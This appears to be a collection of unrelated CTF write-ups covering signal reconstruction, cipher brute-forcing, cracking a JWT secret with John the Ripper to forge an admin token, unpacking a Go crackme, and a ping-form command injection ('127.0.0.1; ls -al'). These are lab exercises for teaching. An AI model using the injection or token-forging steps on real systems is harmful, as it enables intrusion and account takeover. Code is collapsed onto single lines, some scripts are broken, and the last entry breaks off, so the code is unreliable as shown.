Why didn't many peaple solved this? It's just an implementation of IFFT from spectrogram.
## Challenge Details
We are given three image files.
Obviously the first two is [spectrogram](https://en.wikipedia.org/wiki/Spectrogram), which should simply be a result of FFT of the signal. And as the third image suggests, we should implement inverse of FFT (IFFT) to recover the original data.
I implemented a solver with Node.js.
```javascript=const {promises: fs} = require('fs');const color = require('color');const {ifft} = require('fft-js');const {WaveFile} = require('wavefile');const jimp = require('jimp');
(async () => { const wav = new WaveFile();
const lennaA = await jimp.read('imga.png'); const lennaP = await jimp.read('imgp.png');
const signals = []
for (const x of Array(3941).keys()) { if (x % 100 === 0) { console.log('progress:', x); }
const phasors = []; for (const y of Array(1024).keys()) { const hueA = color(lennaA.getPixelColor(x, 1080 - y) >> 8).hue(); const hueP = color(lennaP.getPixelColor(x, 1080 - y) >> 8).hue(); const valueA = (300 - hueA) / 300 * 12 - 6; const valueP = (300 - hueP) / 300 * 12 - 6; phasors.push([valueA ** 9, valueP ** 9]); }
const signal = ifft(phasors); signals.push(...signal); }
wav.fromScratch(1, 22050, 32, signals.map((v) => v[0] * (2 ** 17))); await fs.writeFile('out.wav', wav.toBuffer());})();```
This produces the following output:
<audio controls src="https://hakata-public.s3-ap-northeast-1.amazonaws.com/aeroctf/out.mp3"></audio>
We can hear the synthesized voice of some digits starting from 1:29. Transcribe it and get flag:
`Aero{44130800454087113922111421638436416130198703185043619684674310673384316}` |
# Babycrypt
Points: **326 Points**
>"We develope our own program for encrypting text.But it is not very convenient and seems to encrypt not secure. Try a plaintext attack to get key and decode flag!"
## Challange
In this challenge we receive a stripped ELF 64-bit executable **'bcry'** and a text file **'note.dat'**:
```key: %key%text: test_test_test_test_testEncoded: 7685737a9f7895737a9f84857b769f7a657b769f78898378
key: %key%text: qwertyuiopasdfghEncoded: 717785747885858d6f7e917364686776
key: %key%text: skIllaoInasJjklqo19akq9k13k45k69alq1Encoded: 7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135
key: %key%text: %flag%Encoded: 8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781
*Note: in all three cases used one key*```
Upon executing the 'bcry' file, we are requested a key and, if we inform a valid key, a text for encryption. The program then returns the encrypted text.
## Recon
First of all, we needed to know the key length that must be given. To do that, we used the disassembler/decompiler [cutter](https://cutter.re/) and searched the code for the 'Incorrect key size' statement. The uncovered key size length was 16.
After uncovering the key size, we fuzzled arround with the executable and noted that if you altered just one character in the key or in the text, there is always just one byte altered in the encrypted text. With this in mind and with the cases given in the **'note.dat'** file, we can uncover the key used for encryption by using the text in the file and by mapping each character in the key to its respective position in the encrypted text. After that we can brute force each byte with the worst case scenario complexity of $$(16*17)$$ for each encrypted text; being 17 the number of accepted characters to be given in the key when running **'bcry'**.
## Reversing
We first mapped all the key character position to the corresponding encrypted text position (note that, after the $$16^{th}$$ byte, the position pattern repeats its self as in *Pos % 16*). Then, to start abusing the uncovered fact, we used the following python code:```pythonimport subprocessimport string iterator = { 0:0, 1:11, 2:10, 3:9, 4:1, 5:12, 6:15, 7:8, 8:2, 9:13, 10:14, 11:7, 12:3, 13:4, 14:5, 15:6} def encrypt(key, text): '''This functions runs the bcry file with the text and key provided and returns the output''' key = key.encode('utf-8')+b"\n" text = text.encode('utf-8')+b"\n" process = subprocess.Popen(["./bcry"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) process.stdin.write(key) process.stdin.write(text) encoded = process.communicate()[0].decode("utf-8").rstrip('\n').split(":")[-1].strip() process.stdin.close() return encoded possible_keys = []key = list("abcdefg023157799")enc_data = [ "7685737a9f7895737a9f84857b769f7a657b769f78898378", "717785747885858d6f7e917364686776", '7393a992708d8fad708d83aa7273707d6f3939856b7d398bb53b8b34b573b6c5618e7135' ] w1 = "test_test_test_test_test"w2 = "qwertyuiopasdfgh"w3 = "skIllaoInasJjklqo19akq9k13k45k69alq1"
for i in range(0, 128): if(i % 100 == 0): for c in list('abcdefgh0123456789'): try_key = list(key) try_key[iterator[i % 16]] = c try_key = ''.join(try_key) m1 = (i % len(w1))*2 m2 = (i % len(w2))*2 m3 = (i % len(w3))*2 if( (encrypt(try_key, w1)[m1 : m1+2] == enc_data[0][m1:m1+2]) and (encrypt(try_key, w2)[m2 : m2+2] == enc_data[1][m2:m2+2]) and (encrypt(try_key, w3)[m3 : m3+2] == enc_data[2][m3:m3+2]) ): key = try_key t1 = encrypt(key, w1) == enc_data[0] t2 = encrypt(key, w2) == enc_data[1] t3 = encrypt(key, w3) == enc_data[2] if t1 and t2 and t3: print("MATEI", key) if t1 and t2 or t3: if key not in possible: possible.append(key)```
The code above then return us all the possible keys that can be used to encrypt ```w1 and w2 or 23```.
With the keys in hand we can apply the same logic to print out the original flag, altering each character in the possible flag and comparing the correspondent byte to the encrypted message byte provided in the **'note.dat'** file. The corresponding byte position will always be ```[i*2:i*2+2]``` in which *i* is the position of the character in the text to be encrypted. Using this python code to append the previous one, we can print out the flag:
```pythonchuteira = string.printable[:-6] flag = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"result = "8185748f7b3b3a3565454584b8babbb8b441323ebc8b3a86b5899283b9c2c56d64388889b781"
for k in keys: for f in range(0, len(flag)): for c in chuteira: try_flag = list(flag) try_flag[f] = c try_flag = ''.join(try_flag) pos = encrypt(k, try_flag) if(pos[f*2:f*2+2] == result[f*2:f*2+2]): flag = try_flag print(flag)```
After executing the code, we get three possible flags, in which **Aero{381a95d003629088c8f1ebc189ab6fe7}** is the correct one. |
# JaWT ScratchpadCheck the admin scratchpad! https://2019shell1.picoctf.com/problem/37903/ or http://2019shell1.picoctf.com:37903Hints:What is that cookie?Have you heard of JWT?
# SolutionThis challenge is about Json Web Tokens. On visiting the link we see a page asking for username. On providing username other than admin we are given a textarea to type in. A new cookie is created named 'jwt'. The username I provided was 'check'
Read about how JWT tokens work from here:https://blog.angular-university.io/angular-jwt/
The Jwt token in the cookie uses 'HS256' for signing. This means the the header,payload are hashed using SHA-256 after signing with a secret key. The token can be inspected at:[JWT debugger](https://jwt.io/#debugger).
Here the payload consists of only the user. We have to change the user to admin to access the page and get the flag. But when we change the value without knowing the secret key the signature will change and our jwt token becomes invalid. Hence we need to find the key before we can change the token.
There is a reference to John in the webpage provided giving a clue that we might as well try a dictionary attack on the secret key. The wordlist used for the attack is rockyou.txt (a popular wordlist) because [reasons](https://youtu.be/7jNalVFCY90?t=458).
## Finding the key
### JohnTheRipperIn order to bruteforce the tokenOnce you have set up [John the Ripper](https://github.com/magnumripper/JohnTheRipper) and downloaded the wordlistCreate a textfile and paste the original JWT into it and save it.Then run john.```john ./picoJWT-textfile.txt --wordlist=./rockyou.txt```You will get the secret used: 'ilovepico'
### Python ScriptAnother way of bruteforcing is using a [JWT Crack Python Script](https://github.com/Sjord/jwtcrack). After installing the requirements run it using `python crackjwt.py your_jwt_token_here rockyou.txt`
## Modifying the tokenGo back to the [JWT debugger](https://jwt.io/#debugger). Change the user to admin and then update the secret with the found key.This will give you a new JWT. Change the cookie value to the new JWT and refresh the page and you should see the flag in the textarea.
Flag is picoCTF{jawt_was_just_what_you_thought_9ed4519dee8140de7a186a5df5a08d6e} |
after you netcat, a program greets you and asks you to answer 9 math questions to get the flag.
the first 8 questions are easy ans simple.
the ninth question is 0.1 + 0.2.
this does not equel 0.3 because of [floating point math](https://0.30000000000000004.com) and so its equal to 0.30000000000000004.
after the ninth question the flag is printed.
[image](https://i.imgur.com/LHLOPt7.png) |
Hello world,
This writeup concerns the most difficult challenge I did on the CTF (having occupied myself a few hours to break it). At first glance, we have an "obfuscated" binary, which makes system calls to mmap and mprotect: we immediately think of a packer, and we will therefore have to unpack it.
## Unpacking crackmeUnpacking is not a problem on Linux when you are used to malware packers on Windows, thanks to radare2 and its visual mode.
The crack entrypoint therefore looks like this: ``` ;-- entry0: ;-- rip: 0x0046cbe8 50 push rax 0x0046cbe9 52 push rdx 0x0046cbea e8c8020000 call 0x46ceb7 0x0046cbef 55 push rbp 0x0046cbf0 53 push rbx 0x0046cbf1 51 push rcx 0x0046cbf2 52 push rdx 0x0046cbf3 4801fe add rsi, rdi 0x0046cbf6 56 push rsi 0x0046cbf7 4889fe mov rsi, rdi 0x0046cbfa 4889d7 mov rdi, rdx 0x0046cbfd 31db xor ebx, ebx 0x0046cbff 31c9 xor ecx, ecx 0x0046cc01 4883cdff or rbp, 0xffffffffffffffff``` We have a call to a function 0x46ceb7, followed by what looks like a decompression function, especially aplib or one of its variants. So we have: ```┌ 6: fcn.0046ceb7 ();│ 0x0046ceb7 5d pop rbp└ 0x0046ceb8 e840ffffff call fcn.0046cdfd```followed by``` ; CALL XREF from fcn.0046ceb7 @ 0x46ceb8┌ 186: fcn.0046cdfd (int64_t arg_0h);│ ; var int64_t var_bh @ rbp-0xb│ ; var int64_t var_10h @ rsp+0x30│ ; var int64_t var_8h @ rsp+0x38│ ; arg int64_t arg_0h @ rsp+0x40│ 0x0046cdfd 5f pop rdi ; /proc/self/exe│ 0x0046cdfe 29f6 sub esi, esi│ 0x0046ce00 6a02 push 2 ; SYS_open│ 0x0046ce02 58 pop rax│ 0x0046ce03 0f05 syscall│ 0x0046ce05 50 push rax│ 0x0046ce06 488db70f0000. lea rsi, [rdi + 0xf]│ 0x0046ce0d ad lodsd eax, dword [rsi]│ 0x0046ce0e 83e0fe and eax, 0xfffffffe ; 4294967294│ 0x0046ce11 4189c6 mov r14d, eax│ 0x0046ce14 56 push rsi│ 0x0046ce15 5b pop rbx│ 0x0046ce16 ad lodsd eax, dword [rsi]│ 0x0046ce17 92 xchg eax, edx│ 0x0046ce18 4801da add rdx, rbx│ 0x0046ce1b ad lodsd eax, dword [rsi]│ 0x0046ce1c 4195 xchg eax, r13d│ 0x0046ce1e ad lodsd eax, dword [rsi]│ 0x0046ce1f 4901f5 add r13, rsi│ 0x0046ce22 488d8df5ffff. lea rcx, [var_bh]│ 0x0046ce29 448b39 mov r15d, dword [rcx]│ 0x0046ce2c 4c29f9 sub rcx, r15│ 0x0046ce2f 4529f7 sub r15d, r14d│ 0x0046ce32 5f pop rdi│ 0x0046ce33 4829ca sub rdx, rcx│ 0x0046ce36 52 push rdx│ 0x0046ce37 50 push rax│ 0x0046ce38 4929cd sub r13, rcx│ 0x0046ce3b 57 push rdi│ 0x0046ce3c 51 push rcx│ 0x0046ce3d 4d29c9 sub r9, r9│ 0x0046ce40 4183c8ff or r8d, 0xffffffff ; -1│ 0x0046ce44 6a22 push 0x22 ; '"' ; 34│ 0x0046ce46 415a pop r10│ 0x0046ce48 52 push rdx│ 0x0046ce49 5e pop rsi│ 0x0046ce4a 6a03 push 3 ; 3│ 0x0046ce4c 5a pop rdx│ 0x0046ce4d 29ff sub edi, edi│ 0x0046ce4f 6a09 push 9 ; SYS_mmap│ 0x0046ce51 58 pop rax│ 0x0046ce52 0f05 syscall│ 0x0046ce54 4901c6 add r14, rax│ 0x0046ce57 4889442410 mov qword [var_8h], rax│ 0x0046ce5c 4897 xchg rax, rdi│ 0x0046ce5e 448b442408 mov r8d, dword [var_10h]│ 0x0046ce63 6a12 push 0x12 ; 18│ 0x0046ce65 415a pop r10│ 0x0046ce67 4c89ee mov rsi, r13│ 0x0046ce6a 6a09 push 9 ; SYS_mmap│ 0x0046ce6c 58 pop rax│ 0x0046ce6d 0f05 syscall│ 0x0046ce6f 488b542418 mov rdx, qword [arg_0h]│ 0x0046ce74 59 pop rcx│ 0x0046ce75 51 push rcx│ 0x0046ce76 4801c2 add rdx, rax│ 0x0046ce79 4829c8 sub rax, rcx│ 0x0046ce7c 4989c4 mov r12, rax│ 0x0046ce7f 4801e8 add rax, rbp│ 0x0046ce82 50 push rax│ 0x0046ce83 482500f0ffff and rax, 0xfffffffffffff000│ 0x0046ce89 50 push rax│ 0x0046ce8a 4829c2 sub rdx, rax│ 0x0046ce8d 52 push rdx│ 0x0046ce8e 4889de mov rsi, rbx│ 0x0046ce91 ad lodsd eax, dword [rsi]│ 0x0046ce92 50 push rax│ 0x0046ce93 4889e1 mov rcx, rsp│ 0x0046ce96 4a8d1423 lea rdx, [rbx + r12]│ 0x0046ce9a 4989d5 mov r13, rdx│ 0x0046ce9d ad lodsd eax, dword [rsi]│ 0x0046ce9e 50 push rax│ 0x0046ce9f ad lodsd eax, dword [rsi]│ 0x0046cea0 4190 xchg eax, r8d│ 0x0046cea2 4889f7 mov rdi, rsi│ 0x0046cea5 5e pop rsi│ 0x0046cea6 ffd5 call rbp│ 0x0046cea8 59 pop rcx│ 0x0046cea9 5e pop rsi│ 0x0046ceaa 5f pop rdi│ 0x0046ceab 5d pop rbp│ 0x0046ceac 6a05 push 5 ; 5│ 0x0046ceae 5a pop rdx│ 0x0046ceaf 6a0a push 0xa ; 10│ 0x0046ceb1 58 pop rax│ 0x0046ceb2 0f05 syscall└ 0x0046ceb4 41ffe5 jmp r13```When debugging the calls in visual mode (F7), we can see alignment calculations to recover the size of the binary to be mapped and of the "anonymous" area to be created. Then, we see two mmap syscalls. The first is used to make an "anonymous" mapping which will contain the decompression and mapping code, then another one to load the binary. We then have a "call rbp" (which calls the decompression function located at 0x0046cbef, before doing an mprotect on the allocated page and jumping on it.
Once the jump is made, we land here: ``` 0x7fb3749e3ed0 e84a000000 call 0x7fb3749e3f1f 0x7fb3749e3ed5 83f949 cmp ecx, 0x49 ; 73 ┌─< 0x7fb3749e3ed8 7544 jne 0x7fb3749e3f1e │ 0x7fb3749e3eda 53 push rbx │ 0x7fb3749e3edb 57 push rdi``` Same stuff as earlier, we enter the call (F7 in visual mode), and we fall back on another function which performs other operations, followed by``` 0x7fb3749e401e 41ff66f8 jmp qword [r14 - 8]``` We can reasonably think that we are approaching our OEP, so we position a breakpoint (F2) and continue the execution (F9) before returning to single-step mode.
Then, we get this``` ;-- rip: 0x0048c48e 0f05 syscall 0x0048c490 5a pop rdx 0x0048c491 c3 ret```
and once we reach `ret`, we finally get the OEP of the unpacked binary! We just have to dump the program, first by listing the sections with "dm":
```[0x0044fd80]> dm0x0000000000400000 - 0x000000000048d000 * usr 564K s r-x unk0 unk0 ; map.home_supersnail_Documents_hack_lab_AeroCTF_goaway.r_x0x000000000048d000 - 0x0000000000525000 - usr 608K s r-- unk1 unk10x0000000000525000 - 0x000000000055a000 - usr 212K s rw- unk2 unk2```
We can therefore dump the unpacked binary with the `wtf goaway.unpack 0x15a000 @0x400000` command, the size of the binary being 0x55a000-0x400000.
Doing `strings` on the unpacked crackme, we can see that it was written in ... the Go language, the beginning of the nightmare. ## Reversing Go for fun and chocapiczUnfortunately for me, the crackme was written in Go: indeed, a fairly substantial runtime is found to be embedded in Go programs, making it difficult to identify the "useful" functions and the Go runtime ones. However, Go's RTTI mechanism still allows us to get out of it, since the name of the functions (and maybe the types of variables / arguments) is still preserved, which greatly facilitates our task.
My first attempt was to use r2-gohelper , however the script only renamed a few functions, making it completely useless. In addition, radare2 is still too limited for static analysis, so I took out my good old IDA Free to analyze the "main.main" function (one of the few functions identified by r2-gohelper).
After a failed attempt to understand all the code of the runtime, I ended up having the good idea to make a "string search" in IDA, which found a lot of function names. Not having IDAPython (because Free edition, thank you Ilfak \o/), I started doing manual resolution of RTTIs for each function called: 
I finally got something like this after a while renaming everything:
Another difficult point was to understand the calling convention used by Go.Actually, unlike C where a single parameter is returned, Go can return several return values, which are copied onto the stack frame of the calling function. So the stack looks something like this:```+-------------------+| ebp backup |+-------------------+| return address |+-------------------+| argument 1 || ... || argument n || retour 1 || ... || retour n |+-------------------+| local vars |+-------------------+```Also comes the "slice" mechanism much used by Go, which is actually a structure that could be defined like this (in 64 bits): ```struct slice { void *pointer; uint64_t size; uint64_t allocated_size;}``` Once this is understood, we can finally study the operation of the program in good conditions.
## Crackme algorithmThe crackme starts by displaying the welcome message, then reading and storing user input (with bufio.Reader.ReadString).The crackme then removes the character "\n", before creating a HashMap.
This HashMap contains a permutation table, which will be useful later. Then, the crackme creates an array of slices which point to 16-byte "strings", which curiously look like a hash. Then, after checking the size of the flag (which must also be 16 bytes), we land to a first loop on the characters of the flag. For each character, we compute the MD5 hash of the character.
Then we recover the permutation value corresponding to the index of the character of the string in the hashmap, and compare the hash md5 to the slice whose index is the permutation:
In "pythonized" pseudocode, we would get something like this: ```slice = <md5 hashes array>permutations = [0, 1, 2, 3, 1, 4, 5, 1, 6, 5, 1, 5, 7, 8, 7, 9]for i in range(len(serial)): if md5(serial[i]) != slice[permutations[i]]: print "Bad boy" exit(1)
print "Good boy"```To recover the key, in theory, we just need to calculate the md5 for each character in the ASCII table, and compare its hash with the one found in the program. But like any theoretical solution, it does not work in practice for obscure reasons ...
## Key recovery and crackme pwningNot understanding what is happening, I ended up opting for a more radical solution: I executed the MD5 implementation of the binary directly, controlling the radare2's debugger via r2pipe from my python script. After a few tries, I managed to make the following script:```#!/usr/bin/pythonimport r2pipeimport hashlibimport binasciiimport os
flag_md5_offsets = [0xb, 0x06, 0x0a, 0x0c, 0x7, 0x5, 0x9, 0x22, 0x8, 0x2]hashes = []alphabet_dict = {}
r2 = r2pipe.open("goaway.unpack")r2.cmd("ood")r2.cmd("db 0x48c10f")r2.cmd("db 0x48b812")r2.cmd("db 0x48c21e")r2.cmd("db 0x48c223")for i in range(0, 0x7f): r2.cmd("dc") r2.cmd("dr edx=%d" % i) r2.cmd("dr rip=0x%x" % 0x48c1ff) r2.cmd("dc") r2.cmd("s rsp+0x4f; wx 0x%x" % (i << 16 | 0x10)) print(r2.cmd("dc")) md5 = binascii.hexlify(bytes(r2.cmdj("pxj 16 @rsp+0x18"))) alphabet_dict[md5] = chr(i) r2.cmd("ood")
chars = []for offset in flag_md5_offsets: addr = 0x4bf20c + (offset * 16) #print(hex(addr)) nochr = binascii.hexlify(bytes(r2.cmdj("pxj 16 @0x%x" % addr))) hashes.append(nochr) chars.append(alphabet_dict[nochr])
subst = [0, 1, 2, 3, 1, 4, 5, 1, 6, 5, 1, 5, 7, 8, 7, 9]toto = ""for i in subst: toto += chars[i]
print(toto)```The script directly gives us the right flag, "secretkeykeklol1". However, the program is picky, and when you give it the right flag, you get ```texthmmmm...... key is correct! But I changed my mind about printing you a flag.....Instead, I will display you a flag for the key 'testtesttesttest'flag: <non-printable chars>```
The validation flag is therefore encrypted, and according to our renaming work, is encrypted in AES. The key "testtesttesttest", encoded in hexadecimal form, is passed to the `main.ExampleNewCBCDecrypter` function (which does AES CBC as its name suggests, thank you Captain Obvious). As we are in a CTF, we will replace the barely decoded key with our flag, then continue the execution via:
```plain$ r2 -d ./goaway.unpack -- Everybody hates warnings. Mr. Pancake, tear down this -Wall[0x0044fd80]> db 0x48b642[0x0044fd80]> dcGo away I will not give you a flag!But if you guess the key I'll print you a flag....guess: secretkeykeklol1hmmmm...... key is correct! But I changed my mind about printing you a flag.....Instead, I will display you a flag for the key 'testtesttesttest'flag: hit breakpoint at: 48b642[0x0048b642]> w secretkeykeklol1 @rax[0x0048b642]> dcAero{3475964bdbfe31fbb40d812fa2f88114765baf72fd7ef0a912c746312bbdc07b}[0x0044fd9b]> ``` We recovered our validation flag (and I was the one to first blood this challenge, w00t !) aaSSfxxx |
You may find this writeup complementing [that one](https://ctftime.org/writeup/18566), so read that one first.
The binary was packed with UPX and section headers were stripped so the `upx` couldn't unpack it. We can run the binary in `gdb`, break it when it asks for a key, and dump the whole thing on the disk. When we try to open in in IDA, it complains a bit but otherwise there are no errors.
Since the binary is written in Go, we can use IDAGolanHelper script to recover all function names. After that we need to go to `main.main` function. There something obscure happens, which can be described like this: the binary wants you to enter the 16 characters key, after what each characters MD5 hash should be equal to one of the 10 predefined hashes. The order of those hashes is set in the map.
The only catch here is that MD5 function is not actually the default one — if you look at it, you may notice different initial state. In MD5 algorithm it is 4 numbers, (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476), but in binary those are changed to (0x68442402, 0xEECCAA88, 0x97B9DBFD, 0x0F315375). If we take an MD5 implementation, insert these numbers there and compare hashes with the binary in debugger, it will become clear that nothing else is changed.
So no we have 10 hashes, the order of them and modified MD5 algorithm. We can decode the secret key, after what we patch the binary in runtime so it calls the `ExampleNewCBCDecrypter` with the right key.
My Python decoding script (which also output some patching commands for gdb):``` python#!/usr/bin/env python3
import structfrom enum import Enumfrom math import ( floor, sin,)
from bitarray import bitarray
class MD5Buffer(Enum): A = 0x68442402 B = 0xEECCAA88 C = 0x97B9DBFD D = 0x0F315375
class MD5(): _string = None _buffers = { MD5Buffer.A: None, MD5Buffer.B: None, MD5Buffer.C: None, MD5Buffer.D: None, }
@classmethod def hash(cls, string): cls._string = string
preprocessed_bit_array = cls._step_2(cls._step_1()) cls._step_3() cls._step_4(preprocessed_bit_array) return cls._step_5()
@classmethod def _step_1(cls): # Convert the string to a bit array. bit_array = bitarray(endian="big") bit_array.frombytes(cls._string.encode("utf-8"))
# Pad the string with a 1 bit and as many 0 bits required such that # the length of the bit array becomes congruent to 448 modulo 512. # Note that padding is always performed, even if the string's bit # length is already conguent to 448 modulo 512, which leads to a # new 512-bit message block. bit_array.append(1) while bit_array.length() % 512 != 448: bit_array.append(0)
# For the remainder of the MD5 algorithm, all values are in # little endian, so transform the bit array to little endian. return bitarray(bit_array, endian="little")
@classmethod def _step_2(cls, step_1_result): # Extend the result from step 1 with a 64-bit little endian # representation of the original message length (modulo 2^64). length = (len(cls._string) * 8) % pow(2, 64) length_bit_array = bitarray(endian="little") length_bit_array.frombytes(struct.pack("<Q", length))
result = step_1_result.copy() result.extend(length_bit_array) return result
@classmethod def _step_3(cls): # Initialize the buffers to their default values. for buffer_type in cls._buffers.keys(): cls._buffers[buffer_type] = buffer_type.value
@classmethod def _step_4(cls, step_2_result): # Define the four auxiliary functions that produce one 32-bit word. F = lambda x, y, z: (x & y) | (~x & z) G = lambda x, y, z: (x & z) | (y & ~z) H = lambda x, y, z: x ^ y ^ z I = lambda x, y, z: y ^ (x | ~z)
# Define the left rotation function, which rotates `x` left `n` bits. rotate_left = lambda x, n: (x << n) | (x >> (32 - n))
# Define a function for modular addition. modular_add = lambda a, b: (a + b) % pow(2, 32)
# Compute the T table from the sine function. Note that the # RFC starts at index 1, but we start at index 0. T = [floor(pow(2, 32) * abs(sin(i + 1))) for i in range(64)]
# The total number of 32-bit words to process, N, is always a # multiple of 16. N = len(step_2_result) // 32
# Process chunks of 512 bits. for chunk_index in range(N // 16): # Break the chunk into 16 words of 32 bits in list X. start = chunk_index * 512 X = [step_2_result[start + (x * 32) : start + (x * 32) + 32] for x in range(16)]
# Convert the `bitarray` objects to integers. X = [int.from_bytes(word.tobytes(), byteorder="little") for word in X]
# Make shorthands for the buffers A, B, C and D. A = cls._buffers[MD5Buffer.A] B = cls._buffers[MD5Buffer.B] C = cls._buffers[MD5Buffer.C] D = cls._buffers[MD5Buffer.D]
# Execute the four rounds with 16 operations each. for i in range(4 * 16): if 0 <= i <= 15: k = i s = [7, 12, 17, 22] temp = F(B, C, D) elif 16 <= i <= 31: k = ((5 * i) + 1) % 16 s = [5, 9, 14, 20] temp = G(B, C, D) elif 32 <= i <= 47: k = ((3 * i) + 5) % 16 s = [4, 11, 16, 23] temp = H(B, C, D) elif 48 <= i <= 63: k = (7 * i) % 16 s = [6, 10, 15, 21] temp = I(B, C, D)
# The MD5 algorithm uses modular addition. Note that we need a # temporary variable here. If we would put the result in `A`, then # the expression `A = D` below would overwrite it. We also cannot # move `A = D` lower because the original `D` would already have # been overwritten by the `D = C` expression. temp = modular_add(temp, X[k]) temp = modular_add(temp, T[i]) temp = modular_add(temp, A) temp = rotate_left(temp, s[i % 4]) temp = modular_add(temp, B)
# Swap the registers for the next operation. A = D D = C C = B B = temp
# Update the buffers with the results from this chunk. cls._buffers[MD5Buffer.A] = modular_add(cls._buffers[MD5Buffer.A], A) cls._buffers[MD5Buffer.B] = modular_add(cls._buffers[MD5Buffer.B], B) cls._buffers[MD5Buffer.C] = modular_add(cls._buffers[MD5Buffer.C], C) cls._buffers[MD5Buffer.D] = modular_add(cls._buffers[MD5Buffer.D], D)
@classmethod def _step_5(cls): # Convert the buffers to little-endian. A = struct.unpack("<I", struct.pack(">I", cls._buffers[MD5Buffer.A]))[0] B = struct.unpack("<I", struct.pack(">I", cls._buffers[MD5Buffer.B]))[0] C = struct.unpack("<I", struct.pack(">I", cls._buffers[MD5Buffer.C]))[0] D = struct.unpack("<I", struct.pack(">I", cls._buffers[MD5Buffer.D]))[0]
# Output the buffers in lower-case hexadecimal format. return f"{format(A, '08x')}{format(B, '08x')}{format(C, '08x')}{format(D, '08x')}"
a = [ 'B1 60 46 DE 42 18 89 78 66 25 5F 71 55 92 66 40', '1A B4 0E F4 C2 AF F6 66 C5 76 CC 11 30 4A 62 47', 'A7 1B 1D 3A 54 58 12 49 40 3B B9 ED 4E BE 3E 7E', 'B2 EC 46 34 56 BD 0A FC C4 76 C9 92 41 5F 66 89', '80 64 FB 6F 3A ED DC CF 1E 65 0D 59 64 61 45 C9', '05 DF E3 7B A7 A7 19 94 C2 18 D7 6B 68 28 19 9D', 'A6 D7 50 19 6F 7B BB 83 48 CA 6D EC 0F 44 22 A6', '73 C5 E9 EA D9 81 AE 05 15 AA 91 4F D3 01 B3 B5', '90 71 BF 3E 8F 7F 90 65 3C 1F CD A9 C9 0B F4 A4', '55 E2 96 30 7C 2D 80 C3 AB 90 ED DF 2E E3 31 1C']a = [s.split() for s in a]a = [''.join(s) for s in a]m = [0, 1, 2, 3, 1, 4, 5, 1, 6, 5, 1, 5, 7, 8, 7, 9]
q = {}for i in range(0x20, 0x7E): q[MD5.hash(chr(i)).lower()] = i
import codecsres = bytes([q[a[x].lower()] for x in m])print(res.decode())res = codecs.encode(res, 'hex').decode()for i, c in enumerate(res): print(f"set *(char*)0x{0x4C2196 + i:02X} = '{c}'")``` |
# Insomni'hack teaser 2020 – LowDeep
* **Category:** web* **Points:** 36
## Challenge
> by patacrep & pwndawan> > Try out our new ping platform: http://lowdeep.insomnihack.ch/
## Solution
The website contains a page where you can insert an IP address to ping.
```html
<html lang="en"><head> <title>Insomni'hack 2020 Teaser</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"></script> <style> body { background-image: url("_res_/img/skull-slim.png"); background-color: #cccccc;} </style></head>
<body><div class="container p-3 my-3 bg-dark text-white"> <h2>LowDeep Plateform </h2> That's our new plateform to perform ping the easy way.
That's our new plateform to perform ping the easy way.
<form action="#" method="post"> <div class="form-group"> <label for="ip">Enter the IP address to ping:</label> <input type="text" class="form-control" id="ip" name="ipaddr"> </div> <input type="submit" name="submit" value="Submit" class="btn btn-primary" /> <div> </div> </form></div></body></html>```
The `ping` command is launched via shell, so a command in the input field can be injected to execute arbitrary operations.
For example `127.0.0.1; ls -al` payload will give the following output.
```PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms
--- 127.0.0.1 ping statistics ---1 packets transmitted, 1 received, 0% packet loss, time 0msrtt min/avg/max/mdev = 0.019/0.019/0.019/0.000 mstotal 28drwxr-xr-x 3 root root 4096 Jan 17 09:57 .drwxr-xr-x 3 root root 4096 Jan 7 16:52 ..drwxr-xr-x 4 root root 4096 Jan 17 09:57 _res_-rw-r--r-- 1 root root 1367 Jan 16 15:30 index.php-rw-r--r-- 1 root root 6128 Jan 16 13:10 print-flag-rw-r--r-- 1 root root 42 Jan 16 15:35 robots.txt ```
Accessing to `http://lowdeep.insomnihack.ch/print-flag` will download the [`print-flag` file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Insomni'hack%20teaser%202020/LowDeep/print-flag).
Using `strings` will print the flag.
```root@m3ss4p0:~# strings print-flag/lib64/ld-linux-x86-64.so.2O0\)libc.so.6puts__cxa_finalize__libc_start_mainGLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableAWAVIAUATL[]A\A]A^A_INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g};*3$"GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment```
So the flag is the following.
```INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}``` |
* A common key cryptosystem is defined by the operations on the general linear group of 6th-degree $GL_6(F_p)$ on $F_p$ ($p$: 512bit) * $p$ is reset to the random primes per connection.* $U$ as the secret key, $U\cdot X\cdot U^{-1}$ is encryption and $U^{-1}\cdot X\cdot U$ is depcyption.* We can encrypt/decrypt any value $X$ with all the elements equals to or less than 256.* The encrypted flag value is given.
### Solution
* General linear group is obviously linear as its name suggests, so I can retrieve the result of encryption of unit vector for all the elements in the matrix and solve it with linear modular equation.
`zer0pts{r1ng_h0m0m0rph1sm_1s_c00l}`
{%gist hakatashi/de69225d17617a0fd8c75c484d3ca6af %} |
* `len(m)` count of RSA ciphertexts are given, which is the result of encryption of the `i`-bit-right-rotate-shifted values of plaintext $m$.* $N=2^{n_1}3^{n_2}7^{n_3},e$ is unknown
### Solution
* $N$ is the even number, so the evens will be encrypted to the evens and the odds be the odds
